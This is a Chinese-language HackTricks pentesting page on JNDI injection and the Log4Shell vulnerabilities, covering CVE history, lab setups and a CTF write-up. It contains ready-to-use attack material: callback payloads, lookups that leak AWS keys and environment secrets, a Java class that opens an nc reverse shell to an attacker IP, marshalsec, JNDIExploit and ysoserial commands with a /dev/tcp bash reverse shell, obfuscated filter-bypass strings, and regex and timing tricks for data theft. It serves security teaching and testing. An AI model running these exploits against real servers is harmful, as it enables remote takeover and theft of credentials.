34 KiB
JNDI - Java命名和目录接口与Log4Shell
☁️ HackTricks云 ☁️ -🐦 推特 🐦 - 🎙️ Twitch 🎙️ - 🎥 YouTube 🎥
- 你在一家网络安全公司工作吗?你想在HackTricks中看到你的公司广告吗?或者你想获得PEASS的最新版本或下载PDF格式的HackTricks吗?请查看订阅计划!
- 发现我们的独家NFTs收藏品——The PEASS Family
- 获取官方PEASS和HackTricks周边产品
- 加入💬 Discord群组 或 Telegram群组 或 关注我在Twitter上的🐦@carlospolopm。
- 通过向hacktricks repo 和hacktricks-cloud repo 提交PR来分享你的黑客技巧。
找到最重要的漏洞,以便更快地修复它们。Intruder跟踪您的攻击面,运行主动威胁扫描,发现整个技术堆栈中的问题,从API到Web应用程序和云系统。立即免费试用。
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
基本信息
JNDI自上世纪90年代末以来一直存在于Java中。它是一个目录服务,允许Java程序通过使用名称服务在目录中查找数据。名称服务关联值(绑定),因此可以通过其在目录中的引用来获取它。
JNDI具有许多服务提供程序接口(SPI),使其能够使用各种目录服务。JNDI的目标是非常容易地从其他系统获取数据。甚至可以远程获取Java对象,这就是问题的所在。
例如,SPI存在于CORBA COS(通用对象服务),Java RMI(远程方法接口)注册表和LDAP。
JNDI命名引用
为了检索Java对象,您可以将它们序列化并保存为二进制表示。但是在某些情况下,这种方法行不通(可能是因为数据太大或其他原因)。
为了更轻松地保存Java对象,使用命名引用。
有两种类型的命名引用:
- 引用地址:这表示对象的地址(rmi://server/ref),然后将从该地址检索对象。
- 远程工厂:在这种情况下,JNDI引用将指向一个远程工厂类,然后,根据JNDI地址,将从远程工厂获取远程类并下载和加载类。
这是危险的,因为攻击者可能使系统加载任意对象并执行任意代码,因此存在一些保护措施:
- RMI:自JDK 7u21以来,默认情况下
java.rmi.server.useCodeabseOnly = true
,否则它将允许远程加载自定义Java对象。此外,即使禁用了保护措施,也会强制执行安全管理器以配置可以加载的内容。 - LDAP:自JDK 6u141、7u131、8u121以来,默认情况下
com.sun.jndi.ldap.object.trustURLCodebase = false
,它不允许执行下载的任意Java对象。但是,如果将其设置为true
,则可以执行,并且不会强制执行安全管理器。 - CORBA:没有要配置的属性,但始终强制执行安全管理器。
此外,命名管理器(将跟随JNDI链接的管理器)没有任何安全管理器或要配置的属性,因此它将始终尝试获取对象。
正如您所看到的,通常的保护措施是不够的,因为没有防止从随机地址加载JNDI的保护,并且可以绕过RMI、LDAP和CORBA的保护措施(取决于配置)来加载任意Java对象或加载滥用应用程序中现有组件的Java对象,以执行任意代码。
滥用JNDI的URL示例:
- rmi://attacker-server/bar
- ldap://attacker-server/bar
- iiop://attacker-server/bar
JNDI示例
即使您设置了**PROVIDER_URL
**,您也可以在查找中指定不同的URL,并且将访问它:ctx.lookup("<attacker-controlled-url>")
,这就是攻击者滥用它从由他控制的系统中加载任意对象的方式。
CORBA
可互操作对象引用(IOR)是CORBA或RMI-IIOP引用,用于唯一标识远程CORBA服务器上的对象。IOR可以是二进制格式或二进制的十六进制表示形式。
除其他信息外,它包含类型ID(接口的唯一标识符)和代码库(用于获取存根类的远程位置)。
请注意,默认情况下无法滥用CORBA。
它需要:
- 必须安装安全管理器
- 攻击者控制的代码库连接必须被安全管理器允许。有不同的方法可以允许这一点:
- Socket权限:
permissions java.net.SocketPermission "*:1098-1099", "connect";
- 允许读取所有文件的文件权限:
permission java.io.FilePermission "<<ALL FILES>>", "read";
- 允许读取攻击者可以上传利用程序(类或zip归档)的文件权限
你可能会发现默认情况下供应商允许这样做的策略。
RMI
如前面的JNDI命名参考部分所示,默认情况下RMI不允许下载任意Java类。而且,即使允许,你还需要绕过安全管理器策略(在前面的部分中我们了解到这是CORBA可以做到的)。
LDAP
首先,我们需要区分搜索和查找。
搜索将使用类似ldap://localhost:389/o=JNDITutorial
的URL来查找LDAP服务器上的JNDITutorial对象并检索其属性。
查找用于命名服务,因为我们想要获取绑定到名称的任何内容。
如果LDAP搜索使用了SearchControls.setReturningObjFlag()并设置为true
,则返回的对象将被重构。
因此,有几种方法可以攻击这些选项。
攻击者可以在LDAP记录中注入有效负载,这些有效负载将在收集它们的系统中执行(如果你可以访问LDAP服务器,则非常有用,可以危害数十台机器)。另一种利用方法是对LDAP搜索执行中间人攻击。
如果你可以使应用程序解析JNDI LDAP URL,你可以控制将要搜索的LDAP,并且可以发送回利用程序(log4shell)。
反序列化利用
利用程序被序列化,然后将被反序列化。
如果trustURLCodebase
为true
,攻击者可以在代码库中提供自己的类;如果不是,则需要滥用类路径中的gadget。
JNDI引用利用
使用JavaFactory引用更容易攻击此LDAP:
Log4Shell漏洞
Log4j中引入了漏洞,因为它支持一种特殊语法,形式为${prefix:name}
,其中prefix
是多个不同的Lookups之一,name
应该被评估。例如,${java:version}
是当前运行的Java版本。
在LOG4J2-313中添加了一个jndi
Lookup,如下所示:“JndiLookup允许通过JNDI检索变量。默认情况下,键将以java:comp/env/为前缀,但是如果键包含**":",则不会添加前缀**。”
如果键中有**":"**,例如${jndi:ldap://example.com/a}
,则没有前缀,并且将查询LDAP服务器上的对象。这些Lookups可以在Log4j的配置以及记录行时使用。
因此,唯一需要的是获取RCE的受漏洞影响的Log4j版本处理用户控制的信息。由于这是Java应用程序广泛使用的库,用于记录信息(包括面向互联网的应用程序),因此通常会使用log4j记录例如接收到的HTTP标头,如User-Agent。但是,log4j不仅用于记录HTTP信息,还用于记录任何输入和开发人员指定的数据。
Log4Shell CVE
- CVE-2021-44228 [危急]:原始的“Log4Shell”漏洞是一种不受信任的反序列化漏洞。根据严重性评为危急,该漏洞在CVSS评分中得分为10,并授予未经身份验证的攻击者远程代码执行(RCE)能力,允许完全接管系统。
阿里巴巴云安全团队的陈兆军于11月24日向Apache报告了CVE-2021-44228,该漏洞影响多个Apache框架的默认配置,包括Apache Struts2、Apache Solr、Apache Druid、Apache Flink等。
作为其中最危险的漏洞,该漏洞存在于log4j-core组件中,仅限于2.x版本:从2.0-beta9到2.14.1。Log4Shell的修复版本为2.15.0,但被认为是不完整的(继续阅读)。
威胁情报分析师Florian Roth分享了Sigma规则[1, 2],可以作为防御之一使用。\ - CVE-2021-45046 [危急,先前为低]:这是一个拒绝服务(DoS)漏洞,评分为
3.79.0。该漏洞是由于针对CVE-2021-44228的2.15.0的不完整修复而产生的。虽然2.15.0中的修复大部分解决了漏洞,但对于某些非默认配置情况并非完全如此。
Log4j 2.15.0“尽力尝试”默认限制JNDI LDAP查找为_localhost_。但是,攻击者如果对线程上下文映射(MDC)输入数据具有控制权,则可以通过JNDI Lookup模式构造恶意有效负载以导致DoS攻击。这适用于使用非默认Pattern Layout的非默认配置,例如使用上下文查找(例如$${ctx:loginId})或线程上下文映射模式(%X、%mdc或%MDC)。
从这个推文中采用的绕过方法是:
这是一个绕过Log4J 2.15.0中allowedLdapHost和allowedClasses检查以实现RCE的PoC:${jndi:ldap://127.0.0.1#evilhost.com:1389/a}
,要绕过allowedClasses,只需为JDK中的一个类选择一个名称。反序列化将像往常一样发生。
__
__"NVD咨询指出:“Log4j 2.16.0通过删除消息查找模式的支持并默认禁用JNDI功能来修复此问题。”对于2.12.1分支的用户,修复已经被移植到2.12.2版本中。\ - CVE-2021-4104 [高]:我们说过Log4j 2.x版本有漏洞,那么Log4j 1.x呢?\
虽然之前认为Log4j 1.x是安全的,但Log4Shell也找到了潜伏在旧版Log4j中的方法。实际上,非默认配置的Log4j 1.x实例使用_JMSAppender_**类也会受到不受信任的反序列化漏洞的影响**。
尽管这是CVE-2021-44228的一个较轻微的变种,但是这个CVE影响了所有只有1.x版本的log4j:log4j和org.apache.log4j:log4j组件。由于这些版本已经终止支持,1.x分支没有修复方法,用户应该升级到_log4j-core_ 2.17.0版本(显然1.0版本不受影响)。\ - CVE-2021-42550 [中]:这是一个影响Logback日志框架的漏洞。作为Log4j 1.x库的继任者,Logback声称在“log4j 1.x停止支持的地方”继续发展。
直到上周,Logback还吹嘘自己“与log4j 2.x无关,[logback]不共享其漏洞”。
当发现CVE-2021-4104也影响Log4j 1.x,并且评估了对Logback的潜在影响时,这种假设很快消失了。现在已经发布了新的Logback版本1.3.0-alpha11和1.2.9,解决了这个较轻微的漏洞。\ - CVE-2021-45105 [高]:发现Log4j 2.16.0存在一个被评为“高”严重性的DoS漏洞。Apache已经发布了修复该CVE的log4j 2.17.0版本。有关此进展的更多详细信息,请参阅BleepingComputer的最新报告。
- CVE-2021-44832:这个新的CVE影响到log4j的2.17版本。这个漏洞需要攻击者控制log4j的配置文件,因为可以在配置的JDBCAppender中指定一个JDNI URL。有关漏洞和利用的信息,请阅读此信息。
Log4Shell漏洞利用
发现
这个漏洞非常容易发现,因为它会向您在有效载荷中指定的地址发送至少一个DNS请求。因此,有效载荷如下:
${jndi:ldap://x${hostName}.L4J.lt4aev8pktxcq2qlpdr5qu5ya.canarytokens.com/a}
(使用canarytokens.com)${jndi:ldap://c72gqsaum5n94mgp67m0c8no4hoyyyyyn.interact.sh}
(使用interactsh)${jndi:ldap://abpb84w6lqp66p0ylo715m5osfy5mu.burpcollaborator.net}
(使用Burp Suite)${jndi:ldap://2j4ayo.dnslog.cn}
(使用dnslog)${jndi:ldap://log4shell.huntress.com:1389/hostname=${env:HOSTNAME}/fe47f5ee-efd7-42ee-9897-22d18976c520}
(使用huntress)
请注意,即使收到DNS请求,也不意味着应用程序是可利用的(甚至是有漏洞的),您需要尝试利用它。
{% hint style="info" %} 请记住,要利用2.15版本,您需要添加本地主机检查绕过:${jndi:ldap://127.0.0.1#...} {% endhint %}
本地发现
搜索本地有漏洞的版本的库:
find / -name "log4j-core*.jar" 2>/dev/null | grep -E "log4j\-core\-(1\.[^0]|2\.[0-9][^0-9]|2\.1[0-6])"
验证
之前列出的一些平台允许您插入一些变量数据,在请求时将其记录下来。
这对于两件事非常有用:
- 验证漏洞
- 滥用漏洞窃取信息
例如,您可以请求类似于:
或者${
jndi:ldap://jv-${sys:java.version}-hn-${hostName}.ei4frk.dnslog.cn/a}
,如果收到具有环境变量值的DNS请求,则说明应用程序存在漏洞。
您可以尝试泄露的其他信息包括:
${env:AWS_ACCESS_KEY_ID}
${env:AWS_CONFIG_FILE}
${env:AWS_PROFILE}
${env:AWS_SECRET_ACCESS_KEY}
${env:AWS_SESSION_TOKEN}
${env:AWS_SHARED_CREDENTIALS_FILE}
${env:AWS_WEB_IDENTITY_TOKEN_FILE}
${env:HOSTNAME}
${env:JAVA_VERSION}
${env:PATH}
${env:USER}
${hostName}
${java.vendor}
${java:os}
${java:version}
${log4j:configParentLocation}
${sys:PROJECT_HOME}
${sys:file.separator}
${sys:java.class.path}
${sys:java.class.path}
${sys:java.class.version}
${sys:java.compiler}
${sys:java.ext.dirs}
${sys:java.home}
${sys:java.io.tmpdir}
${sys:java.library.path}
${sys:java.specification.name}
${sys:java.specification.vendor}
${sys:java.specification.version}
${sys:java.vendor.url}
${sys:java.vendor}
${sys:java.version}
${sys:java.vm.name}
${sys:java.vm.specification.name}
${sys:java.vm.specification.vendor}
${sys:java.vm.specification.version}
${sys:java.vm.vendor}
${sys:java.vm.version}
${sys:line.separator}
${sys:os.arch}
${sys:os.name}
${sys:os.version}
${sys:path.separator}
${sys:user.dir}
${sys:user.home}
${sys:user.name}
Any other env variable name that could store sensitive information
RCE 信息
{% hint style="info" %}
运行在 JDK 版本高于 6u141、7u131、8u121 的主机将受到 LDAP 类加载的保护,但不受序列化向量的保护。这是因为 com.sun.jndi.ldap.object.trustURLCodebase
默认情况下被禁用,因此 JNDI 无法使用 LDAP 加载远程代码库。但我们必须强调,仍然存在序列化和变量泄漏的可能性。
这意味着要 利用上述版本,您需要 滥用一些存在于 Java 应用程序上的受信任的 gadget(例如使用 ysoserial 或 JNDIExploit)。但要利用较低版本,您可以使其加载并执行任意类(这使攻击更容易)。
有关更多信息(例如 RMI 和 CORBA 向量的限制),请查看前面的 JNDI 命名参考部分或访问 https://jfrog.com/blog/log4shell-0-day-vulnerability-all-you-need-to-know/ {% endhint %}
RCE - 使用自定义有效载荷的 Marshalsec
这个技巧完全来自于 THM box: https://tryhackme.com/room/solar__
对于这个漏洞利用,将使用工具 marshalsec(从这里下载 jar 版本)创建一个 LDAP 引荐服务器,将连接指向我们的次要 HTTP 服务器,漏洞利用将在其中提供:
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://<your_ip_http_server>:8000/#Exploit"
我们希望受害者加载发送反向 shell 的代码,因此您可以创建一个名为 Exploit.java 的 Java 文件,内容如下:
{% code title="" %}
public class Exploit {
static {
try {
java.lang.Runtime.getRuntime().exec("nc -e /bin/bash YOUR.ATTACKER.IP.ADDRESS 9999");
} catch (Exception e) {
e.printStackTrace();
}
}
}
{% endcode %}
创建类文件执行:javac Exploit.java -source 8 -target 8
,然后在创建类文件的同一目录中运行HTTP服务器:python3 -m http.server
。
marshalsec的LDAP服务器应该指向这个HTTP服务器。
然后,您可以通过发送如下负载使易受攻击的Web服务器执行利用类:
${jndi:ldap://<LDAP_IP>:1389/Exploit}
RCE - JNDIExploit
{% hint style="info" %} 请注意,如果Java未配置为使用LDAP加载远程代码库,则此自定义漏洞利用将无法工作。在这种情况下,您需要滥用一个受信任的类来执行任意代码。 {% endhint %}
JNDIExploit - 远程代码执行
{% hint style="info" %} 请注意,由于发现了log4shell漏洞,作者在github上删除了此项目。您可以在https://web.archive.org/web/20211210224333/https://github.com/feihong-cs/JNDIExploit/releases/tag/v1.2中找到缓存版本,但如果您希望尊重作者的决定,请使用其他方法来利用此漏洞。
此外,您无法在wayback machine中找到源代码,因此要么分析源代码,要么执行jar文件,但要知道您不知道自己在执行什么。 {% endhint %}
对于此示例,您可以在端口8080上运行此易受log4shell攻击的Web服务器:https://github.com/christophetd/log4shell-vulnerable-app(在自述文件中,您将找到如何运行它的说明)。此易受攻击的应用程序使用易受攻击的log4shell版本记录HTTP请求头_X-Api-Version_的内容。
然后,您可以下载JNDIExploit的jar文件并使用以下命令执行它:
wget https://web.archive.org/web/20211210224333/https://github.com/feihong-cs/JNDIExploit/releases/download/v1.2/JNDIExploit.v1.2.zip
unzip JNDIExploit.v1.2.zip
java -jar JNDIExploit-1.2-SNAPSHOT.jar -i 172.17.0.1 -p 8888 # Use your private IP address and a port where the victim will be able to access
阅读代码仅需几分钟,你可以在 com.feihong.ldap.LdapServer 和 com.feihong.ldap.HTTPServer 中看到LDAP和HTTP服务器的创建方式。LDAP服务器将理解需要提供的有效载荷,并将受害者重定向到HTTP服务器,后者将提供利用程序。
在 com.feihong.ldap.gadgets 中,你可以找到可用于执行所需操作(潜在地执行任意代码)的一些特定小工具。而在 com.feihong.ldap.template 中,你可以看到不同的模板类,它们将生成利用程序。
你可以通过**java -jar JNDIExploit-1.2-SNAPSHOT.jar -u
**查看所有可用的利用程序。以下是一些有用的利用程序:
ldap://null:1389/Basic/Dnslog/[domain]
ldap://null:1389/Basic/Command/Base64/[base64_encoded_cmd]
ldap://null:1389/Basic/ReverseShell/[ip]/[port]
# But there are a lot more
所以,在我们的例子中,我们已经运行了一个存在漏洞的Docker应用程序。要对其进行攻击:
# Create a file inside of th vulnerable host:
curl 127.0.0.1:8080 -H 'X-Api-Version: ${jndi:ldap://172.17.0.1:1389/Basic/Command/Base64/dG91Y2ggL3RtcC9wd25lZAo=}'
# Get a reverse shell (only unix)
curl 127.0.0.1:8080 -H 'X-Api-Version: ${jndi:ldap://172.17.0.1:1389/Basic/ReverseShell/172.17.0.1/4444}'
curl 127.0.0.1:8080 -H 'X-Api-Version: ${jndi:ldap://172.17.0.1:1389/Basic/Command/Base64/bmMgMTcyLjE3LjAuMSA0NDQ0IC1lIC9iaW4vc2gK}'
在发送攻击时,您将在执行JNDIExploit-1.2-SNAPSHOT.jar的终端中看到一些输出。
记得检查java -jar JNDIExploit-1.2-SNAPSHOT.jar -u
以获取其他利用选项。此外,如果需要,您可以更改LDAP和HTTP服务器的端口。
RCE - JNDI-Exploit-Kit
与先前的漏洞利用类似,您可以尝试使用JNDI-Exploit-Kit来利用此漏洞。
您可以生成要发送给受害者的URL:
# Get reverse shell in port 4444 (only unix)
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -L 172.17.0.1:1389 -J 172.17.0.1:8888 -S 172.17.0.1:4444
# Execute command
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -L 172.17.0.1:1389 -J 172.17.0.1:8888 -C "touch /tmp/log4shell"
这种使用自定义生成的Java对象的攻击在像THM太阳能房间这样的实验室中有效。然而,通常情况下这种攻击不起作用(因为默认情况下Java未配置为使用LDAP加载远程代码库),我认为这是因为它没有滥用受信任的类来执行任意代码。
RCE - ysoserial和JNDI-Exploit-Kit
这个选项非常适用于攻击仅信任指定类而不是所有人的Java版本。因此,将使用ysoserial生成受信任类的序列化,这些序列化可以用作gadget来执行任意代码(ysoserial滥用的受信任类必须被受害者的Java程序使用,以使利用生效)。
使用ysoserial或ysoserial-modified可以创建被JNDI下载的反序列化利用程序:
# Rev shell via CommonsCollections5
java -jar ysoserial-modified.jar CommonsCollections5 bash 'bash -i >& /dev/tcp/10.10.14.10/7878 0>&1' > /tmp/cc5.ser
使用JNDI-Exploit-Kit生成JNDI链接,在这些链接中,漏洞机器将连接到等待的漏洞利用。您可以使用JNDI-Exploit-Kit自动生成的不同利用工具,或者使用您自己或ysoserial生成的反序列化有效载荷。
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -L 10.10.14.10:1389 -P /tmp/cc5.ser
现在,您可以轻松使用生成的JNDI链接来利用漏洞并获取一个反向shell,只需将其发送到一个易受攻击的log4j版本:${ldap://10.10.14.10:1389/generated}
绕过方法
${${env:ENV_NAME:-j}ndi${env:ENV_NAME:-:}${env:ENV_NAME:-l}dap${env:ENV_NAME:-:}//attackerendpoint.com/}
${${lower:j}ndi:${lower:l}${lower:d}a${lower:p}://attackerendpoint.com/}
${${upper:j}ndi:${upper:l}${upper:d}a${lower:p}://attackerendpoint.com/}
${${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::-a}${::-p}://attackerendpoint.com/z}
${${env:BARFOO:-j}ndi${env:BARFOO:-:}${env:BARFOO:-l}dap${env:BARFOO:-:}//attackerendpoint.com/}
${${lower:j}${upper:n}${lower:d}${upper:i}:${lower:r}m${lower:i}}://attackerendpoint.com/}
${${::-j}ndi:rmi://attackerendpoint.com/} //Notice the use of rmi
${${::-j}ndi:dns://attackerendpoint.com/} //Notice the use of dns
${${lower:jnd}${lower:${upper:ı}}:ldap://...} //Notice the unicode "i"
自动扫描工具
- https://github.com/fullhunt/log4j-scan
- https://github.com/adilsoybali/Log4j-RCE-Scanner
- https://github.com/silentsignal/burp-log4shell
- https://github.com/cisagov/log4j-scanner
- https://github.com/Qualys/log4jscanwin
- https://github.com/hillu/local-log4j-vuln-scanner
- https://github.com/logpresso/CVE-2021-44228-Scanner
- https://github.com/palantir/log4j-sniffer - 查找本地易受攻击的库
实验室测试
- LogForge HTB 机器
- Try Hack Me Solar 房间
- https://github.com/leonjza/log4jpwn
- https://github.com/christophetd/log4shell-vulnerable-app
Log4Shell 漏洞利用后
在这个CTF writeup中,详细解释了如何潜在地滥用 Log4J 的一些功能。
Log4j 的安全页面中有一些有趣的句子:
从版本 2.16.0 开始(适用于 Java 8),消息查找功能已完全移除。配置中的查找仍然有效。此外,Log4j 现在默认禁用对 JNDI 的访问。配置中的 JNDI 查找现在需要显式启用。
从版本 2.17.0 开始(适用于 Java 7 和 Java 6 的版本为 2.12.3 和 2.3.1),只有配置中的查找字符串会递归展开;在其他任何用法中,只会解析顶级查找,任何嵌套的查找都不会解析。
这意味着默认情况下,你可以忘记使用任何 jndi
攻击。此外,要执行递归查找,你需要进行相应的配置。
例如,在该 CTF 中,这在文件 log4j2.xml 中进行了配置:
<Console name="Console" target="SYSTEM_ERR">
<PatternLayout pattern="%d{HH:mm:ss.SSS} %-5level %logger{36} executing ${sys:cmd} - %msg %n">
</PatternLayout>
</Console>
环境查找
在这个CTF中,攻击者控制了${sys:cmd}
的值,并且需要从环境变量中窃取标志。如在之前的负载中所见,有不同的方法可以访问环境变量,例如:${env:FLAG}
。在这个CTF中这是无用的,但在其他真实场景中可能会有用。
异常中的数据窃取
在CTF中,你无法使用log4J访问java应用程序的stderr,但是Log4J的异常会被发送到stdout,而python应用程序会将其打印出来。这意味着通过触发异常,我们可以访问内容。一个用于窃取标志的异常是:${java:${env:FLAG}}
。这个方法有效是因为${java:CTF{blahblah}}
不存在,而会显示一个带有标志值的异常:
转换模式异常
只是提一下,你也可以注入新的转换模式并触发被记录到stdout
的异常。例如:
这对于在错误消息中窃取日期并不有用,因为在转换模式之前没有解析查找,但对于其他一些任务,如检测,可能会有用。
转换模式正则表达式
然而,可以使用一些支持正则表达式的转换模式来通过使用正则表达式和滥用二分查找或基于时间的行为来窃取查找中的信息。
- 通过异常消息进行二分查找
转换模式**%replace
可以用于替换字符串中的内容**,甚至使用正则表达式。它的工作原理如下:replace{pattern}{regex}{substitution}
通过滥用这种行为,你可以使替换操作在字符串中匹配到正则表达式时触发异常(如果没有找到匹配项,则不会触发异常),如下所示:
%replace{${env:FLAG}}{^CTF.*}{${error}}
# The string searched is the env FLAG, the regex searched is ^CTF.*
## and ONLY if it's found ${error} will be resolved with will trigger an exception
- 基于时间的攻击
正如前一节中提到的,%replace
支持正则表达式。因此,可以使用来自ReDoS页面的负载,在找到标志时引发超时。例如,像 %replace{${env:FLAG}}{^(?=CTF)((.
)
)*salt$}{asd}
这样的负载将在该CTF中触发超时。
在这个writeup中,它没有使用 ReDoS 攻击,而是使用放大攻击来导致响应中的时间差异:
/%replace{ %replace{ %replace{ %replace{ %replace{ %replace{ %replace{${ENV:FLAG}}{CTF\{" + flagGuess + ".*\}}{#############################} }{#}{######################################################} }{#}{######################################################} }{#}{######################################################} }{#}{######################################################} }{#}{######################################################} }{#}{######################################################} }{#}{######################################################} }{#}{######################################################}
如果标志以
flagGuess
开头,整个标志将被替换为 29 个#
(我使用这个字符,因为它很可能不是标志的一部分)。然后,每个结果中的 29 个#
都会被替换为 54 个#
。这个过程重复6次,总共有29*54*54^6* =`` ``
96816014208
#
!替换这么多的
#
将触发 Flask 应用程序的 10 秒超时,进而导致向用户发送 HTTP 状态码 500。(如果标志不以flagGuess
开头,我们将收到非 500 的状态码)
参考资料
- https://blog.cloudflare.com/inside-the-log4j2-vulnerability-cve-2021-44228/
- https://www.bleepingcomputer.com/news/security/all-log4j-logback-bugs-we-know-so-far-and-why-you-must-ditch-215/
- https://www.youtube.com/watch?v=XG14EstTgQ4
- https://tryhackme.com/room/solar
- https://www.youtube.com/watch?v=Y8a5nB-vy78
- https://www.blackhat.com/docs/us-16/materials/us-16-Munoz-A-Journey-From-JNDI-LDAP-Manipulation-To-RCE.pdf
- https://intrigus.org/research/2022/07/18/google-ctf-2022-log4j2-writeup/
- https://sigflag.at/blog/2022/writeup-googlectf2022-log4j/
找出最重要的漏洞,以便更快地修复它们。Intruder 跟踪您的攻击面,运行主动威胁扫描,发现整个技术堆栈中的问题,从 API 到 Web 应用程序和云系统。立即免费试用。
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
- 您在网络安全公司工作吗?您想在 HackTricks 中看到您的公司广告吗?或者您想获得最新版本的 PEASS 或下载 PDF 格式的 HackTricks 吗?请查看订阅计划!
- 发现我们的独家 NFTs 集合——The PEASS Family
- 获取官方 PEASS & HackTricks 商品
- 加入 💬 Discord 群组 或 电报群组,或在 Twitter 上 关注我 🐦@carlospolopm。
- 通过向 hacktricks 仓库 和 hacktricks-cloud 仓库 提交 PR 来分享您的黑客技巧。